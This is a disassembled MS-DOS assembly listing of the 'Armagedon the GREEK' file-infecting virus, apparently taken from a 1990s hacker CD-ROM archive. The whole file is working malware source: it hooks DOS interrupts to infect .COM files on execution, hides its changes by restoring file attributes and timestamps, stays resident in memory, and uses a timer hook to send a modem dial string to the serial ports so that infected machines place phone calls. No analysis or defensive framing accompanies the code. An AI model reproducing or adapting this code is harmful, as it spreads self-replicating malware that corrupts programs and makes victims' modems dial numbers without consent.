home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / armagedo.asm < prev    next >
Encoding:
Assembly Source File  |  2003-06-11  |  13.1 KB  |  596 lines
  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    ARMAGEDO                     ██
  7. ;██                                         ██
  8. ;██      Created:   21-Feb-91                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    2Ch            ; (7415:002C=0)
  16. data_2e        equ    81h            ; (7415:0081=0)
  17.   
  18. seg_a        segment    byte public
  19.         assume    cs:seg_a, ds:seg_a
  20.   
  21.   
  22.         org    100h
  23.   
  24. armagedo    proc    far
  25.   
  26. start:
  27.         jmp    loc_36            ; (0436)
  28.   
  29. armagedo    endp
  30.   
  31. ;██████████████████████████████████████████████████████████████████████████
  32. ;
  33. ;            External Entry Point
  34. ;
  35. ;██████████████████████████████████████████████████████████████████████████
  36.   
  37. int_21h_entry    proc    far
  38.         pushf                ; Push flags
  39.         cmp    ah,0E0h
  40.         jne    loc_2            ; Jump if not equal
  41.         mov    ax,0DADAh
  42.         popf                ; Pop flags
  43.         iret                ; Interrupt return
  44. int_21h_entry    endp
  45.   
  46. loc_2:
  47.         cmp    ah,0E1h
  48.         jne    loc_3            ; Jump if not equal
  49.         mov    ax,cs
  50.         popf                ; Pop flags
  51.         iret                ; Interrupt return
  52. loc_3:
  53.         cmp    ax,4B00h
  54.         je    loc_5            ; Jump if equal
  55. loc_4:
  56.         popf                ; Pop flags
  57.         jmp    dword ptr cs:data_4    ; (7415:0122=138Dh)
  58. data_4        dd    7415138Dh
  59. data_6        dd    7415022Bh
  60. data_8        db    0
  61. data_9        db    8
  62. data_10        db    10h
  63. data_11        db    9
  64. data_12        db    34h
  65. data_13        dw    0
  66.         db    0
  67. data_14        db    0
  68. data_15        db    0
  69. data_16        db    0
  70.         db    43h, 4Fh, 4Dh
  71. data_17        dw    5
  72. data_18        dw    2
  73.         db    0, 0
  74. data_19        dw    1301h
  75. data_20        dw    1306h
  76. data_21        dw    0FFFEh
  77. data_22        dw    7415h
  78. data_23        dw    3D5Bh
  79. data_24        dw    20h
  80. data_25        dw    0EC2h
  81. data_26        dw    6E68h
  82.         db    0, 0, 81h, 0
  83. data_27        dw    12ACh
  84.         db    5Ch, 0
  85. data_28        dw    12ACh
  86.         db    6Ch, 0
  87. data_29        dw    12ACh
  88. loc_5:
  89.         push    ds
  90.         push    bx
  91.         push    si
  92.         push    cx
  93.         push    ax
  94.         push    dx
  95.         push    bp
  96.         push    es
  97.         push    di
  98.         cld                ; Clear direction
  99.         push    dx
  100.         push    ds
  101.         xor    cx,cx            ; Zero register
  102.         mov    si,dx
  103. loc_6:
  104.         mov    al,[si]
  105.         cmp    al,0
  106.         je    loc_7            ; Jump if equal
  107.         inc    cx
  108.         inc    si
  109.         jmp    short loc_6        ; (016C)
  110. loc_7:
  111.         add    dx,cx
  112.         sub    dx,3
  113.         mov    si,135h
  114.         mov    di,dx
  115.         cmp    byte ptr [di-3],4Eh    ; 'N'
  116.         jne    loc_8            ; Jump if not equal
  117.         cmp    byte ptr [di-2],44h    ; 'D'
  118.         je    loc_11            ; Jump if equal
  119. loc_8:
  120.         mov    cx,3
  121.   
  122. locloop_9:
  123.         mov    al,cs:[si]
  124.         cmp    al,[di]
  125.         jne    loc_11            ; Jump if not equal
  126.         inc    si
  127.         inc    di
  128.         loop    locloop_9        ; Loop if cx > 0
  129.   
  130.         pop    ds
  131.         pop    dx
  132.         push    dx
  133.         push    ds
  134.         mov    si,dx
  135.         mov    dl,0
  136.         cmp    byte ptr [si+1],3Ah    ; ':'
  137.         jne    loc_10            ; Jump if not equal
  138.         mov    dl,[si]
  139.         and    dl,0Fh
  140. loc_10:
  141.         mov    ah,36h            ; '6'
  142.         int    21h            ; DOS Services  ah=function 36h
  143.                         ;  get free space, drive dl,1=a:
  144.         cmp    ax,0FFFFh
  145.         je    loc_11            ; Jump if equal
  146.         jmp    short loc_13        ; (01C5)
  147.         db    90h
  148. loc_11:
  149.         jmp    loc_19            ; (02F8)
  150.         jmp    loc_20            ; (02FD)
  151. loc_12:
  152.         jmp    loc_17            ; (02C4)
  153.         jmp    loc_18            ; (02CF)
  154. loc_13:
  155.         cmp    bx,3
  156.         jb    loc_11            ; Jump if below
  157.         pop    ds
  158.         pop    dx
  159.         push    ds
  160.         push    dx
  161.         mov    cs:data_22,ds        ; (7415:0144=7415h)
  162.         mov    cs:data_23,dx        ; (7415:0146=3D5Bh)
  163.         mov    ax,4300h
  164.         int    21h            ; DOS Services  ah=function 43h
  165.                         ;  get/set file attrb, nam@ds:dx
  166.         mov    cs:data_24,cx        ; (7415:0148=20h)
  167.         mov    ax,4301h
  168.         xor    cx,cx            ; Zero register
  169.         int    21h            ; DOS Services  ah=function 43h
  170.                         ;  get/set file attrb, nam@ds:dx
  171.         mov    bx,0FFFFh
  172.         mov    ah,48h            ; 'H'
  173.         int    21h            ; DOS Services  ah=function 48h
  174.                         ;  allocate memory, bx=bytes/16
  175.         mov    ah,48h            ; 'H'
  176.         int    21h            ; DOS Services  ah=function 48h
  177.                         ;  allocate memory, bx=bytes/16
  178.         mov    cs:data_19,ax        ; (7415:013E=1301h)
  179.         mov    ax,cs
  180.         mov    ds,ax
  181.         mov    dx,541h
  182.         mov    ah,1Ah
  183.         int    21h            ; DOS Services  ah=function 1Ah
  184.                         ;  set DTA to ds:dx
  185.         pop    dx
  186.         pop    ds
  187.         mov    ax,3D02h
  188.         clc                ; Clear carry flag
  189.         int    21h            ; DOS Services  ah=function 3Dh
  190.                         ;  open file, al=mode,name@ds:dx
  191.         jc    loc_12            ; Jump if carry Set
  192.         mov    bx,ax
  193.         mov    cs:data_17,ax        ; (7415:0138=5)
  194.         mov    cx,0FFFFh
  195.         mov    ax,cs:data_19        ; (7415:013E=1301h)
  196.         mov    ds,ax
  197.         mov    dx,437h
  198.         mov    ah,3Fh            ; '?'
  199.         clc                ; Clear carry flag
  200.         int    21h            ; DOS Services  ah=function 3Fh
  201.                         ;  read file, cx=bytes, to ds:dx
  202.         jc    loc_12            ; Jump if carry Set
  203.         mov    cs:data_18,ax        ; (7415:013A=2)
  204.         cmp    ax,0E000h
  205.         ja    loc_12            ; Jump if above
  206.         cmp    ax,437h
  207.         jb    loc_15            ; Jump if below
  208.         mov    si,438h
  209.         add    si,si
  210.         sub    si,15h
  211.         mov    cx,13h
  212.         mov    di,524h
  213.   
  214. locloop_14:
  215.         mov    al,[si]
  216.         mov    ah,cs:[di]
  217.         cmp    ah,al
  218.         jne    loc_15            ; Jump if not equal
  219.         inc    si
  220.         inc    di
  221.         loop    locloop_14        ; Loop if cx > 0
  222.   
  223.         jmp    short loc_17        ; (02C4)
  224.         db    90h
  225. loc_15:
  226.         mov    ax,4200h
  227.         mov    bx,cs:data_17        ; (7415:0138=5)
  228.         xor    cx,cx            ; Zero register
  229.         mov    dx,cx
  230.         int    21h            ; DOS Services  ah=function 42h
  231.                         ;  move file ptr, cx,dx=offset
  232.         jc    loc_17            ; Jump if carry Set
  233.         mov    si,100h
  234.         mov    cx,437h
  235.         xor    di,di            ; Zero register
  236.         mov    ax,cs:data_19        ; (7415:013E=1301h)
  237.         mov    ds,ax
  238.   
  239. locloop_16:
  240.         mov    al,cs:[si]
  241.         mov    [di],al
  242.         inc    si
  243.         inc    di
  244.         loop    locloop_16        ; Loop if cx > 0
  245.   
  246.         mov    ax,5700h
  247.         mov    bx,cs:data_17        ; (7415:0138=5)
  248.         int    21h            ; DOS Services  ah=function 57h
  249.                         ;  get/set file date & time
  250.         mov    cs:data_26,cx        ; (7415:014C=6E68h)
  251.         mov    cs:data_25,dx        ; (7415:014A=0EC2h)
  252.         mov    ax,cs:data_19        ; (7415:013E=1301h)
  253.         mov    ds,ax
  254.         mov    si,437h
  255.         mov    al,[si]
  256.         add    al,0Bh
  257.         mov    [si],al
  258.         xor    dx,dx            ; Zero register
  259.         mov    cx,cs:data_18        ; (7415:013A=2)
  260.         add    cx,437h
  261.         mov    bx,cs:data_17        ; (7415:0138=5)
  262.         mov    ah,40h            ; '@'
  263.         int    21h            ; DOS Services  ah=function 40h
  264.                         ;  write file cx=bytes, to ds:dx
  265.         mov    cx,cs:data_26        ; (7415:014C=6E68h)
  266.         mov    dx,cs:data_25        ; (7415:014A=0EC2h)
  267.         mov    bx,cs:data_17        ; (7415:0138=5)
  268.         mov    ax,5701h
  269.         int    21h            ; DOS Services  ah=function 57h
  270.                         ;  get/set file date & time
  271. loc_17:
  272.         mov    bx,cs:data_17        ; (7415:0138=5)
  273.         mov    ah,3Eh            ; '>'
  274.         int    21h            ; DOS Services  ah=function 3Eh
  275.                         ;  close file, bx=file handle
  276.         push    cs
  277.         pop    ds
  278. loc_18:
  279.         mov    dx,80h
  280.         mov    ah,1Ah
  281.         int    21h            ; DOS Services  ah=function 1Ah
  282.                         ;  set DTA to ds:dx
  283.         mov    ax,cs:data_19        ; (7415:013E=1301h)
  284.         mov    es,ax
  285.         mov    ah,49h            ; 'I'
  286.         int    21h            ; DOS Services  ah=function 49h
  287.                         ;  release memory block, es=seg
  288.         mov    ax,cs:data_22        ; (7415:0144=7415h)
  289.         mov    ds,ax
  290.         mov    dx,cs:data_23        ; (7415:0146=3D5Bh)
  291.         mov    ax,4301h
  292.         mov    cx,cs:data_24        ; (7415:0148=20h)
  293.         int    21h            ; DOS Services  ah=function 43h
  294.                         ;  get/set file attrb, nam@ds:dx
  295.         jmp    short loc_20        ; (02FD)
  296.         db    90h
  297. loc_19:
  298.         pop    ds
  299.         pop    dx
  300.         jmp    short loc_20        ; (02FD)
  301.         db    90h
  302. loc_20:
  303.         pop    di
  304.         pop    es
  305.         pop    bp
  306.         pop    dx
  307.         pop    ax
  308.         pop    cx
  309.         pop    si
  310.         pop    bx
  311.         pop    ds
  312.         jmp    loc_4            ; (011C)
  313.   
  314. ;██████████████████████████████████████████████████████████████████████████
  315. ;
  316. ;            External Entry Point
  317. ;
  318. ;██████████████████████████████████████████████████████████████████████████
  319.   
  320. int_08h_entry    proc    far
  321.         push    bp
  322.         push    ds
  323.         push    es
  324.         push    ax
  325.         push    bx
  326.         push    cx
  327.         push    dx
  328.         push    si
  329.         push    di
  330.         pushf                ; Push flags
  331.         call    cs:data_6        ; (7415:0126=22Bh)
  332.         call    sub_1            ; (0365)
  333.         push    cs
  334.         pop    ds
  335.         mov    ah,5
  336.         mov    ch,data_10        ; (7415:012C=10h)
  337.         cmp    ah,ch
  338.         ja    loc_22            ; Jump if above
  339.         mov    ah,6
  340.         cmp    ah,ch
  341.         jb    loc_22            ; Jump if below
  342.         mov    ah,data_8        ; (7415:012A=0)
  343.         cmp    ah,1
  344.         je    loc_21            ; Jump if equal
  345.         mov    ah,1
  346.         mov    data_8,ah        ; (7415:012A=0)
  347.         jmp    short loc_22        ; (035B)
  348.         db    90h
  349. loc_21:
  350.         call    sub_2            ; (03CB)
  351.         inc    data_13            ; (7415:012F=0)
  352.         mov    ax,data_13        ; (7415:012F=0)
  353.         cmp    ax,21Ch
  354.         jne    loc_22            ; Jump if not equal
  355.         xor    ax,ax            ; Zero register
  356.         mov    data_8,ah        ; (7415:012A=0)
  357.         mov    data_13,ax        ; (7415:012F=0)
  358.         mov    data_15,ah        ; (7415:0133=0)
  359. loc_22:
  360.         pop    di
  361.         pop    si
  362.         pop    dx
  363.         pop    cx
  364.         pop    bx
  365.         pop    ax
  366.         pop    es
  367.         pop    ds
  368.         pop    bp
  369.         iret                ; Interrupt return
  370. int_08h_entry    endp
  371.   
  372.   
  373. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  374. ;                   SUBROUTINE
  375. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  376.   
  377. sub_1        proc    near
  378.         push    cs
  379.         pop    ds
  380.         xor    al,al            ; Zero register
  381.         mov    ah,data_9        ; (7415:012B=8)
  382.         cmp    ah,11h
  383.         jne    loc_26            ; Jump if not equal
  384.         mov    ah,data_12        ; (7415:012E=34h)
  385.         cmp    ah,3Bh            ; ';'
  386.         jne    loc_27            ; Jump if not equal
  387.         mov    ah,data_11        ; (7415:012D=9)
  388.         cmp    ah,3Bh            ; ';'
  389.         jne    loc_28            ; Jump if not equal
  390.         mov    ah,data_10        ; (7415:012C=10h)
  391.         cmp    ah,17h
  392.         jne    loc_29            ; Jump if not equal
  393.         mov    data_10,al        ; (7415:012C=10h)
  394. loc_23:
  395.         mov    data_11,al        ; (7415:012D=9)
  396. loc_24:
  397.         mov    data_12,al        ; (7415:012E=34h)
  398. loc_25:
  399.         mov    data_9,al        ; (7415:012B=8)
  400.         retn
  401. loc_26:
  402.         inc    data_9            ; (7415:012B=8)
  403.         retn
  404. loc_27:
  405.         inc    data_12            ; (7415:012E=34h)
  406.         jmp    short loc_25        ; (0396)
  407. loc_28:
  408.         inc    data_11            ; (7415:012D=9)
  409.         jmp    short loc_24        ; (0393)
  410. loc_29:
  411.         inc    data_10            ; (7415:012C=10h)
  412.         jmp    short loc_23        ; (0390)
  413. sub_1        endp
  414.   
  415.         db    '+++aTh0m0s7=35dp081,,,,141'
  416.   
  417. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  418. ;                   SUBROUTINE
  419. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  420.   
  421. sub_2        proc    near
  422.         mov    al,data_15        ; (7415:0133=0)
  423.         cmp    al,1
  424.         je    loc_ret_35        ; Jump if equal
  425.         mov    al,data_16        ; (7415:0134=0)
  426.         cmp    al,1
  427.         je    loc_31            ; Jump if equal
  428.         mov    cx,3
  429.   
  430. locloop_30:
  431.         mov    dx,cx
  432.         xor    ah,ah            ; Zero register
  433.         mov    al,83h
  434.         int    14h            ; RS-232   dx=com#, ah=func 40h
  435.                         ;  reset port, al=init parameter
  436.         loop    locloop_30        ; Loop if cx > 0
  437.   
  438.         mov    al,1
  439.         mov    data_16,al        ; (7415:0134=0)
  440.         jmp    short loc_ret_35    ; (0435)
  441.         db    90h
  442. loc_31:
  443.         push    cs
  444.         pop    ds
  445.         mov    si,3B1h
  446.         mov    al,data_14        ; (7415:0132=0)
  447.         cmp    al,1Ah
  448.         jne    loc_32            ; Jump if not equal
  449.         jmp    short loc_33        ; (041A)
  450.         db    90h
  451. loc_32:
  452.         xor    ah,ah            ; Zero register
  453.         add    si,ax
  454.         mov    al,[si]
  455.         mov    dx,3F8h
  456.         out    dx,al            ; port 3F8h, RS232-1 xmit buffr
  457.         mov    dx,2F8h
  458.         out    dx,al            ; port 2F8h, RS232-2 xmit buffr
  459.         mov    dx,2E8h
  460.         out    dx,al            ; port 2E8h
  461.         mov    dx,3E8h
  462.         out    dx,al            ; port 3E8h
  463.         inc    data_14            ; (7415:0132=0)
  464.         jmp    short loc_ret_35    ; (0435)
  465.         db    90h
  466. loc_33:
  467.         mov    cx,3
  468.   
  469. locloop_34:
  470.         mov    dx,cx
  471.         mov    al,0Dh
  472.         mov    ah,1
  473.         int    14h            ; RS-232   dx=com#, ah=func 41h
  474.                         ;  write char al, ah=retn status
  475.         loop    locloop_34        ; Loop if cx > 0
  476.   
  477.         mov    ax,1
  478.         mov    data_15,al        ; (7415:0133=0)
  479.         mov    data_14,ah        ; (7415:0132=0)
  480.         mov    data_16,ah        ; (7415:0134=0)
  481.   
  482. loc_ret_35:
  483.         retn
  484. sub_2        endp
  485.   
  486. loc_36:
  487.         mov    ah,0E0h
  488.         int    21h            ; DOS Services  ah=function E0h
  489.         cmp    ax,0DADAh
  490.         jne    loc_37            ; Jump if not equal
  491.         jmp    loc_40            ; (04DB)
  492. loc_37:
  493.         push    cs
  494.         pop    ds
  495.         mov    ax,3521h
  496.         int    21h            ; DOS Services  ah=function 35h
  497.                         ;  get intrpt vector al in es:bx
  498.         mov    word ptr data_4,bx    ; (7415:0122=138Dh)
  499.         mov    word ptr data_4+2,es    ; (7415:0124=7415h)
  500.         mov    dx,103h
  501.         mov    ax,2521h
  502.         int    21h            ; DOS Services  ah=function 25h
  503.                         ;  set intrpt vector al to ds:dx
  504.         mov    ax,3508h
  505.         int    21h            ; DOS Services  ah=function 35h
  506.                         ;  get intrpt vector al in es:bx
  507.         mov    word ptr data_6,bx    ; (7415:0126=22Bh)
  508.         mov    word ptr data_6+2,es    ; (7415:0128=7415h)
  509.         mov    dx,309h
  510.         mov    ax,2508h
  511.         int    21h            ; DOS Services  ah=function 25h
  512.                         ;  set intrpt vector al to ds:dx
  513.         mov    ah,2Ch            ; ','
  514.         int    21h            ; DOS Services  ah=function 2Ch
  515.                         ;  get time, cx=hrs/min, dh=sec
  516.         mov    data_10,ch        ; (7415:012C=10h)
  517.         mov    data_11,cl        ; (7415:012D=9)
  518.         mov    data_12,dh        ; (7415:012E=34h)
  519.         mov    ax,cs:data_1e        ; (7415:002C=0)
  520.         mov    ds,ax
  521.         xor    si,si            ; Zero register
  522. loc_38:
  523.         mov    al,[si]
  524.         cmp    al,1
  525.         je    loc_39            ; Jump if equal
  526.         inc    si
  527.         jmp    short loc_38        ; (0486)
  528. loc_39:
  529.         inc    si
  530.         inc    si
  531.         mov    dx,si
  532.         mov    ax,cs
  533.         mov    es,ax
  534.         mov    bx,5Ah
  535.         mov    ah,4Ah            ; 'J'
  536.         int    21h            ; DOS Services  ah=function 4Ah
  537.                         ;  change mem allocation, bx=siz
  538.         mov    bx,cs:data_2e        ; (7415:0081=0)
  539.         mov    ax,cs
  540.         mov    es,ax
  541.         mov    cs:data_28,ax        ; (7415:0156=12ACh)
  542.         mov    cs:data_29,ax        ; (7415:015A=12ACh)
  543.         mov    cs:data_27,ax        ; (7415:0152=12ACh)
  544.         mov    ax,4B00h
  545.         mov    cs:data_20,ss        ; (7415:0140=1306h)
  546.         mov    cs:data_21,sp        ; (7415:0142=0FFFEh)
  547.         pushf                ; Push flags
  548.         call    cs:data_4        ; (7415:0122=138Dh)
  549.         mov    ax,cs:data_20        ; (7415:0140=1306h)
  550.         mov    ss,ax
  551.         mov    ax,cs:data_21        ; (7415:0142=0FFFEh)
  552.         mov    sp,ax
  553.         mov    ax,cs
  554.         mov    ds,ax
  555.         mov    dx,537h
  556.         int    27h            ; Terminate & stay resident
  557. loc_40:
  558.         mov    ah,0E1h
  559.         int    21h            ; DOS Services  ah=function E1h
  560.         mov    si,4F3h
  561.         mov    cs:[si+3],ax
  562.         mov    ax,4F8h
  563.         mov    cs:[si+1],ax
  564.         mov    ax,cs:data_18        ; (7415:013A=2)
  565.         mov    bx,cs
  566. ;*        jmp    far ptr loc_1        ;*(0000:0000)
  567.         db    0EAh, 0, 0, 0, 0
  568.         db    8Bh, 0C8h, 8Eh, 0DBh, 0BEh, 0
  569.         db    1, 0BFh, 37h, 5
  570.   
  571. locloop_41:
  572.         mov    al,[di]
  573.         mov    [si],al
  574.         inc    si
  575.         inc    di
  576.         loop    locloop_41        ; Loop if cx > 0
  577.   
  578.         mov    si,51Fh
  579.         mov    cs:[si+3],ds
  580.         mov    al,byte ptr ds:[100h]    ; (7415:0100=0E9h)
  581.         sub    al,0Bh
  582.         mov    byte ptr ds:[100h],al    ; (7415:0100=0E9h)
  583.         mov    ax,ds
  584.         mov    es,ax
  585.         mov    ss,ax
  586.         jmp    far ptr start        ; (0100)
  587.         db    'Armagedon the GREEK'
  588.         db    0D8h, 20h
  589.   
  590. seg_a        ends
  591.   
  592.   
  593.   
  594.         end    start
  595.  
  596.